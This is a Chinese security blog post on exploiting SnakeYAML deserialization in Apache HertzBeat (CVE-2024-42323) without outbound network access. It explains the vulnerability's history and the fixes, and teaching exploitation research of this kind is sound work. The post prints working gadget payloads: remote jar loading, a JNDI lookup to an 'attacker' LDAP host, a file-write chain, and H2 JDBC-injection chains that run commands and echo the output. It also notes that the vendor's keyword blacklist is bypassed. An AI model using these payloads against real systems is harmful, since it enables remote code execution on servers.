JDBC注入無外網(上):從HertzBeat聊聊SnakeYAML反序列化

上周日聯合@Ar3h 師傅一起,在【代碼審計知識星球】里發布了一個Springboot的小挑戰:https://t.zsxq.com/tSBBZ,這個小挑戰的核心目標是在無法連接外網的情況下,如何利用PSQL JDBC注入漏洞。我會分兩篇文章來講講Java安全的不出網利用,第一篇文章會介紹最近遇到的一個實際案例,也就是Vulhub里的Apache Hertzbeat的后臺代碼執行漏洞(CVE-2024-42323);第二篇文章,來講講星球里這個小挑戰的預期和非預期答案。

SnakeYAML反序列化歷史

Apache HertzBeat是一個開源的實時監控告警工具,支持對操作系統、中間件、數據庫等多種對象進行監控,并提供 Web 界面進行管理。

HertzBeat在解析YAML的時候使用了SnakeYAML,而SnakeYAML在滿足如下兩個條件時,將會存在反序列化漏洞(CVE-2022-1471):

  • ? 版本<2.0

  • ? 初始化Yaml對象時沒有使用SafeConstructor

互聯網上已經有很多關于SnakeYAML反序列化原理和利用的文章了,大部分的Payload都是基于ScriptEngineManager

!!javax.script.ScriptEngineManager?[!!java.net.URLClassLoader?[[!!java.net.URL?["http://localhost:8080/"]]]]

我是一個比較喜歡考古的人,我翻了一下這個Payload的來龍去脈。它最早出現或者說被公開是在Moritz Bechler 2017年發布的marshalsec項目以及Paper中,marshalsec相信大家不陌生,幾乎是和ysoserial并肩的Java反序列化開山鼻祖之作。

Moritz Bechler在paper中提出,使用JDK自帶的ScriptEngineManager類可以加載來自于遠程服務器的Jar包,進而通過這個方式執行任意字節碼。他同時也提到了另一個使用JNDI來進行RCE的payload,也是很熟悉的類了:

!!?com.sun.rowset.JdbcRowSetImpldataSourceName:?ldap://attacker/objautoCommit:?true

對于2017年的安全研究者來說,marshalsec提出的這些漏洞以及Gadgets讓所有人眼前一亮,相比于ysoserial僅關注Java默認的反序列化漏洞而言,marshalsec填補了json、xml、yaml、hessian等第三方反序列化領域的空缺。

這時候我就有點好奇了,既然2017年就有人提出了SnakeYAML的反序列化漏洞,為什么CVE編號是CVE-2022-1471?

這就不得不說到,SnakeYAML的作者Andrey Somov一直拒絕認為這是一個安全漏洞,直到2022年有好事之徒為這個反序列化漏洞申請了一個CVE編號(CVE-2022-1471),于是正反雙方開始在這個issue里進行辯論。

Andrey Somov非常惱火于有太多“低質量”安全工具,一旦發現有項目依賴SnakeYAML就會報反序列化漏洞,而SnakeYAML當時沒有針對這個問題發布任何修復建議或補丁。

他認為,100%的SnakeYAML使用場景下,解析的YAML都來自于可信的地方。況且SnakeYAML在十年前就提供了SafeConstructor()這個類來限制反序列化白名單以外的對象,所以這并不是一個安全漏洞,用戶不需要“修復”漏洞。

不過,最后Andrey Somov還是屈服了,為了避免再被安全工具騷擾,他在2.0中“修復”了這個漏洞,修復方法是遵從“Secure by Default”原則——開發者不再需要手工調用SafeConstructor(),讓其成為默認選項。

尋找SnakeYAML利用鏈

回到漏洞本身,我們其實可以發現,SnakeYAML反序列化的利用,實際上又是一個找Gadget的游戲。marshalsec作者在paper中提到的兩個利用鏈都需要連接外網,第一個需要從http或者ftp地址下載jar包,第二個需要連接惡意JNDI服務器,我們可以找找看是否有更好的利用鏈。

尋找SnakeYAML Gadget的方法,我并不認為需要單獨跑什么工具來從零挖掘,只需看看現在公開的漏洞中,是否有合適的類可以利用。SnakeYAML的利用鏈和Fastjson其實有點類似,我畫了一個表格來描述他們二者的相似與不同點:

Fastjson

SnakeYAML

setter

?

?

getter

?

?

constructor

?(有條件)

?

SnakeYAML的利用鏈沒有辦法調用getter,所以可以看看fastjson中常用的那些不需要getter的利用鏈。

com.sun.org.apache.bcel.internal.util.ClassLoader:看似不需要使用$ref,但實際上調用JSONObject.toString()的時候觸發了getConnection()才能執行字節碼,所以實際上這個利用鏈是需要getter的。另外,bcel對Java版本要求比較高,參考我在《BCEL ClassLoader去哪了》這篇文章中的分析,8u251以后就不再有這個類。

com.sun.rowset.JdbcRowSetImpl:經典payload,但是需要利用JNDI注入,對網絡和Java版本都有一定要求。

com.mchange.v2.c3p0.WrapperConnectionPoolDataSource:這個利用鏈實際上是marshalsec中先為SnakeYAML提出的,后來國內的安全研究者將其應用在了fastjson中。它的優點是可以直接執行字節碼,不需要寫文件和連接外網,缺點是c3p0這個第三方依賴用的并不多。

sun.rmi.server.MarshalOutputStream:@rmb122在《fastjson 1.2.68 反序列化漏洞 gadgets 挖掘筆記》這篇文章里發現的fastjson寫文件利用鏈。他在文中提到:

這里分享一條我找到的不需要三方庫的鏈, 注意雖然不需要三方庫, 但只能在 openjdk >= 11 下利用, 因為只有這些版本沒去掉符號信息. fastjson 在類沒有無參數構造函數時, 如果其他構造函數是有符號信息的話也是可以調用的, 所以可以多利用一些內部類, 但是 openjdk 8, 包括 oracle jdk 都是不帶這些信息的, 導致無法反序列化, 自然也就無法利用. 所以相對比較雞肋, 僅供學習。

對于有參構造函數來說,json的特性導致fastjson需要找到每個參數的名稱才能進行初始化。在Java 8下,內部類沒有符號信息,函數參數也就沒有名稱,導致這個利用鏈變得雞肋。

但SnakeYAML對于構造函數并沒有特殊要求,我們可以通過type + 參數列表的方式調用任意構造函數,這樣讓這個利用鏈能夠在不同Java版本中生效。

!!sun.rmi.server.MarshalOutputStream?[!!java.util.zip.InflaterOutputStream?[!!java.io.FileOutputStream?[!!java.io.File?["success.jar"],false],!!java.util.zip.Inflater?{?input:?!!binary?eJxLLE5JTCkGAAh5AnE=?},1048576]]

我們可以通過這個利用鏈寫入Jar包,然后再利用前面說到的javax.script.ScriptEngineManager加載本地的Jar包,完成不出網的利用,這是第一個相對比較完美的利用鏈:

!!javax.script.ScriptEngineManager?[!!java.net.URLClassLoader?[[!!java.net.URL?["file:///success.jar"]]]]

利用JDBC注入執行命令

如果想要利用一個數據包完成命令執行,是否有可以利用的Gadget呢?

既然SnakeYAML可以調用構造函數,其實我最開始想到的是org.springframework.context.support.ClassPathXmlApplicationContext,使用ClassPathXmlApplicationContext來執行任意命令:

!!org.springframework.context.support.ClassPathXmlApplicationContext?[?"http://example.com/spring.xml"?]

當然,ClassPathXmlApplicationContext也需要加載遠程文件,如果無法連外網,我們也需要通過前面寫文件再讀取的方式來利用。

《Java安全攻防之老版本 Fastjson 的一些不出網利用》這篇文章中曾經提到fastjson可以借助H2的JDBC注入來利用:

[{"@type":"java.lang.Class","val":"org.h2.jdbcx.JdbcDataSource"},{"@type":"org.h2.jdbcx.JdbcDataSource","url":"jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\;CREATE ALIAS EXEC AS 'void exec() throws java.io.IOException { Runtime.getRuntime().exec(\"open -a calculator.app\")\\; }'\\;CALL EXEC ()\\;"},{"$ref":"$[1].connection"}
]

這個POC初始化org.h2.jdbcx.JdbcDataSource后,再利用$[1].connection來調用getConnection(),觸發JDBC注入。

SnakeYAML雖然并不支持調用getter,但我們也沒必要把思路禁錮在getConnection()。跟進getConnection()后,我發現其實際上是org.h2.jdbc.JdbcConnection這個類的一個工廠函數:

@Override
public?Connection?getConnection()?throws?SQLException {debugCodeCall("getConnection");return?new?JdbcConnection(url,?null, userName, StringUtils.cloneCharArray(passwordChars),?false);
}

那么就簡單了,直接利用SnakeYAML調用JdbcConnection的構造函數即可:

!!org.h2.jdbc.JdbcConnection?[?"jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\;CREATE ALIAS EXEC AS $$void exec() throws java.io.IOException { Runtime.getRuntime().exec(\"calc.exe\")\\; }$$\\;CALL EXEC ()\\;", {},?"a",?"b",?false?]

優化YAML Payload,減少轉義

我們來觀察一下這個利用h2編寫的POC,這里其實調用了org.h2.jdbc.JdbcConnection的構造函數,并傳入了5個參數,他們分別是:

  • ? JDBC的完整URL

  • ? JDBC的屬性列表,類型是Java中的Hashtable,對應到YAML中就是一個map

  • ? 連接用戶名

  • ? 連接密碼

  • ? 是否禁止創建數據庫(forbidCreation)

這里有一個值得關注的參數,forbidCreation,用于禁止創建新的數據庫。還記得H2 Database Web Console的未授權訪問漏洞導致的JDBC注入(CVE-2022-23221)嗎?

這個漏洞的修復方法之一就是將forbidCreation默認值設置為true,禁止創建數據庫。

當forbidCreation等于true時,必須在目標服務器上找到一個已經存在的h2數據庫文件進行連接才能執行后續JDBC注入操作,內存數據庫jdbc:h2:mem也無法使用。

但幸運的是,JdbcConnection的構造函數支持讓攻擊者直接控制所有參數,所以直接將其設置為false即可。

另外,我們觀察到,第一個參數URL中,由于要在INIT中執行多個SQL語句,所以我使用了反斜線對分號進行轉義\;,但又由于整個URL位于YAML中的字符串中,所以還要再次對反斜線進行轉義\\;,整個POC的可讀性大大降低。

網上有一些文章說JDBC的INIT中不支持執行多個SQL語句,其實原因就是沒有轉義分號導致的,實際上這里并沒有限制。

其實JdbcConnection構造函數的第二個參數是屬性表,我們完全可以將INIT這種屬性放到這里面,以減少URL參數中的轉義,然后將YAML修改成我們更熟悉的樣式:

!!org.h2.jdbc.JdbcConnection
-?jdbc:h2:mem:test
-?MODE:?MSSQLServerINIT:?|drop alias if exists exec;CREATE ALIAS EXEC AS $$void exec() throws Exception {Runtime.getRuntime().exec("calc.exe");}$$;CALL EXEC ();
-?a
-?b
-?false

利用Spring方法制造回顯

Apache Hertzbeat是基于Spring開發的應用,我們可以繼續改造Payload,讓其使用org.springframework.web.context.request.RequestContextHolder.currentRequestAttributes().getResponse()拿到response,寫入命令執行的結果:

!!org.h2.jdbc.JdbcConnection
-?jdbc:h2:mem:test
-?MODE:?MSSQLServerINIT:?|DROP ALIAS IF EXISTS EXEC;CREATE ALIAS EXEC AS $$void exec() throws Exception {org.springframework.util.StreamUtils.copy(java.lang.Runtime.getRuntime().exec("id").getInputStream(),((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.currentRequestAttributes()).getResponse().getOutputStream());}$$;CALL EXEC ();
-?a
-?b
-?false

后續思考

Apache Hertzbeat在收到漏洞報告后,在v1.4.1版本中“修復”了這個漏洞:https://github.com/apache/hertzbeat/pull/1239。但其實這個補丁效果不大,其利用黑名單的方式禁用了“ScriptEngineManager”和“URLClassLoader”兩個關鍵字:

但閱讀本文你可以發現,我們使用的利用鏈完全不受到這個關鍵詞的影響,更不用說我可以利用YAML中的一些語法繞過檢查了。

按照這個PR的時間(2023年9月)來看,當年倔強的SnakeYAML作者也已經發布了2.0版本,通過直接升級版本號的方式就能解決這個問題;如果不能升級依賴,也可以使用SafeConstructor()來避免反序列化不安全的對象,但他這里還是選擇了一個最差的方案。

好在v1.6.0版本中,Hertzbeat最終通過增加SafeConstructor修復了這個問題:https://github.com/apache/hertzbeat/pull/1611。

回顧本文提到的所有利用鏈,其中有一個org.springframework.context.support.ClassPathXmlApplicationContext我只提到了一嘴。這個類相信學習過Java安全的同學都非常熟悉,利用這個類真的需要連接外網嗎?如果現在有如下Java函數,再無其他用戶代碼,是否可以不出網利用?

@Controller
publicclassIndexController?{@ResponseBody@RequestMapping("/index")public?String?index(String name, String arg)throws?Exception {Class<?> clazz = Class.forName(name);Constructor<?> constructor = clazz.getConstructor(String.class);Object?instance?=?constructor.newInstance(arg);return?"done";}
}

這個有點像PHP中的new $_GET[class]($_GET[arg]);,也是我文首說到的星球小挑戰的預期考點。下一篇文章,我會分享一下這道題的官方解法與非預期解法。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/76445.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/76445.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/76445.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

QTreeWidget 手動設置選中項后不高亮的問題

當使用Qt編程QTreeWidget setCurrentItem() 方法設置 QTreeWidget 的當前項時&#xff0c;如果發現選中項顯示為灰色而不是高亮狀態&#xff0c;這通常是由以下幾個原因導致的&#xff1a; 方法1. 焦點問題 ? 確保 QTreeWidget 有焦點 ? 解決方案&#xff1a; cpp treeWidge…

javaSE學習(前端基礎知識)

文章目錄 前言一、HTML1、< th >、< tr > 和 < td >標簽&#xff1a;2、< button > 標簽&#xff1a;3、< input type"text" >&#xff1a;4、< br >&#xff1a; 二、CSS1、選擇器2、聲明塊3、常用屬性及值 三、JS1、Vue 實例對…

c# 數據結構 鏈表篇 有關單鏈表的一切

本人能力有限,本文僅作學習交流與參考,如有不足還請斧正 目錄 0.單鏈表好處 0.5.單鏈表分類 1.無虛擬頭節點情況 圖示: 代碼: 頭插/尾插 刪除 搜索 遍歷全部 測試代碼: 全部代碼 2.有尾指針情況 尾插 全部代碼 3.有虛擬頭節點情況 全部代碼 4.循環單鏈表 幾個…

藍橋杯C++組算法知識點整理 · 考前突擊(上)【小白適用】

【背景說明】本文的作者是一名算法競賽小白&#xff0c;在第一次參加藍橋杯之前希望整理一下自己會了哪些算法&#xff0c;于是有了本文的誕生。分享在這里也希望與眾多學子共勉。如果時間允許的話&#xff0c;這一系列會分為上中下三部分和大家見面&#xff0c;祝大家競賽順利…

pipe匿名管道實操(Linux)

管道相關函數 1 pipe 是 Unix/Linux 系統中的一個系統調用&#xff0c;用于創建一個匿名管道 #include <unistd.h> int pipe(int pipefd[2]); 參數說明&#xff1a; pipefd[2]&#xff1a;一個包含兩個整數的數組&#xff0c;用于存儲管道的文件描述符&#xff1a; pi…

centos-stream-9上安裝nvidia驅動和cuda-toolkit

這里寫目錄標題 驅動安裝1. 更新系統2. NVIDIA GPU安裝檢查系統是否安裝了 NVIDIA GPU2.1 首先&#xff0c;使用以下命令更新 DNF 軟件包存儲庫緩存&#xff1a;2.2 安裝編譯 NVIDIA 內核模塊所需的依賴項和構建工具2.3 在 CentOS Stream 9 上添加官方 NVIDIA CUDA 軟件包存儲庫…

LDAP高效數據同步:Syncrepl復制模式實戰指南

#作者&#xff1a;朱雷 文章目錄 一、Syncrepl 復制簡介1.1. 什么是復制模式1.2. 什么是 syncrepl同步復制 二、Ldap環境部署三、配置復制類型3.1. 提供者端配置3.2. 消費者端配置3.3.啟動服務3.4.測試同步是否生效 四、總結 一、Syncrepl 復制簡介 1.1. 什么是復制模式 Ope…

Linux 內核網絡協議棧中的 struct packet_type:以 ip_packet_type 為例

在 Linux 內核的網絡協議棧中,struct packet_type 是一個核心數據結構,用于注冊特定協議類型的數據包處理邏輯。它定義了如何處理特定協議的數據包,并通過協議類型匹配機制實現協議分發。本文將通過分析 ip_packet_type 的定義和作用,深入探討其在網絡協議棧中的重要性。 …

QT Sqlite數據庫-教程001 創建數據庫和表-下

【1】創建帶名稱的數據庫 #include <QtSql/QSqlDatabase> #include <QtSql/QSqlQuery> #include <QtSql/QSqlRecord> QString path QDir::currentPath(); QApplication::addLibraryPath(pathQString("/release/plugins")); QPluginLoader loader…

Cannot find module ‘vue‘ or its corresponding type declarations

在使用vue3vite創建新的工程時&#xff0c;在新增.vue文件時會出現Cannot find module vue這個錯誤。 只需要我們在項目中的.d.ts文件中添加以下代碼即可 declare module *.vue {import { defineComponent } from vue;const component: ReturnType<typeof defineComponent&…

SSRF打靶總結

文章目錄 一. PortSwigger1、本地服務器的基本SSRF2、基本的目標不是漏洞機3、Referer標頭的外帶SSRF4、簡單黑名單的SSRF黑名單繞過思路&#xff1a; 5、重定向的SSRF6. 簡單的白名單SSRF白名單繞過思路&#xff1a; 二、BWAPP1. SSRF 文件包含漏洞 | 內網探測2. XXE -> S…

STL-函數對象

1.函數對象 1.1 概念 重載函數調用操作符的類&#xff0c;其對象被稱為函數對象 函數對象使用重載的&#xff08;&#xff09;時&#xff0c;行為類似函數調用&#xff0c;也成為仿函數 本質&#xff1a;函數對象&#xff08;仿函數&#xff09;是一個類&#xff0c;不是一…

多線程(Java)

注&#xff1a;本文為本人學習過程中的筆記 1.導入 1.進程和線程 我們希望我們的程序可以并發執行以提升效率&#xff0c;此時引入了多進程編程。可是創建進程等操作開銷太大&#xff0c;于是就將進程進一步拆分成線程&#xff0c;減少開銷。進程與進程之間所涉及到的資源是…

在 Dev-C++中編譯運行GUI 程序介紹(三)有趣示例一組

在 Dev-C中編譯運行GUI程序介紹&#xff08;三&#xff09;有趣示例一組 前期見 在 Dev-C中編譯運行GUI 程序介紹&#xff08;一&#xff09;基礎 https://blog.csdn.net/cnds123/article/details/147019078 在 Dev-C中編譯運行GUI 程序介紹&#xff08;二&#xff09;示例&a…

【高校主辦】2025年第四屆信息與通信工程國際會議(JCICE 2025)

重要信息 會議網址&#xff1a;www.jcice.org 會議時間&#xff1a;2025年7月25-27日 召開地點&#xff1a;哈爾濱 截稿時間&#xff1a;2025年6月15日 錄用通知&#xff1a;投稿后2周內 收錄檢索&#xff1a;EI,Scopus 會議簡介 JCICE 2022、JCICE 2023、JCICE 2…

【Linux】Linux 操作系統 - 03 ,初步指令結尾 + shell 理解

文章目錄 前言一、打包和壓縮二、有關體系結構 (考)面試題 三、重要的熱鍵四、shell 命令及運行原理初步理解五、本節命令總結總結 前言 本篇文章 , 筆者記錄的筆記內容包含 : 基礎指令 、重要熱鍵 、shell 初步理解 、權限用戶的部分問題 。 內容皆是重要知識點 , 需要認真理…

Python: sqlite3.OperationalError: no such table: ***解析

出現該錯誤說明數據庫中沒有成功創建 reviews 表。以下是完整的解決方案: 步驟 1:創建數據庫表 在插入數據前,必須先執行建表語句。請通過以下任一方式創建表: 方式一:使用 SQLite 命令行 bash 復制 # 進入 SQLite 命令行 sqlite3 reviews.db# 執行建表語句 CREATE T…

VSCode CLine 插件自定義配置使用 Claude 3.7 模型進行 AI 開發

一個互聯網技術玩家&#xff0c;一個愛聊技術的家伙。在工作和學習中不斷思考&#xff0c;把這些思考總結出來&#xff0c;并分享&#xff0c;和大家一起交流進步。 本文介紹如何在 Visual Studio Code (VSCode) 中安裝和自定義配置 CLine 插件&#xff0c;并使用 Claude 3.7 模…

【VSCode配置】運行springboot項目和vue項目

目錄 安裝VSCode安裝軟件安裝插件VSCode配置user的全局設置setting.jsonworkshop的項目自定義設置setting.jsonworkshop的項目啟動配置launch.json 安裝VSCode 官網下載 安裝軟件 git安裝1.1.12版本&#xff0c;1.2.X高版本無法安裝node14以下版本 nvm安裝&#xff08;github…

linux shell編程之條件語句(二)

目錄 一. 條件測試操作 1. 文件測試 2. 整數值比較 3. 字符串比較 4. 邏輯測試 二. if 條件語句 1. if 語句的結構 (1) 單分支 if 語句 (2) 雙分支 if 語句 (3) 多分支 if 語句 2. if 語句應用示例 (1) 單分支 if 語句應用 (2) 雙分支 if 語句應用 (3) 多分支 …